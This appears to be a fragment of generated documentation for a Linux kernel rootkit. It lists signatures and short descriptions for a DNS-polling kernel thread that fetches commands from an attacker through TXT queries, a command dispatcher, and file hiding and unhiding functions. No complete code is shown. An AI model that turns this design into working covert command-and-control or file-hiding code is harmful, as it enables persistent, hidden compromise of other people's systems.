20 while (!kthread_should_stop()) {
24 DBG_MSG(
"dns_worker: got commmand from attacker '%s'\n", cmd_buf);
55 char path[32] = { 0 };
77 char path[32] = { 0 };
int rootkit_command(char *command, unsigned command_size, enum Protocol protocol)
#define DNS_WORKER_THREAD_NAME
#define DBG_MSG(fmt, args...)
#define DNS_POLL_INTERVAL_MS
#define RCV_CMD_BUFFER_SIZE
int start_dns_worker(void)
Starts the DNS worker kernel thread.
static struct task_struct * dns_worker_thread
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
static int dns_worker(void *data)
Kernel thread function to process DNS-based commands.
int hide_file(const char *path)
int unhide_file(const char *path)
int dns_receive_command(char *buffer, size_t max_len)
Poll the attacker via DNS TXT-query for a pending command.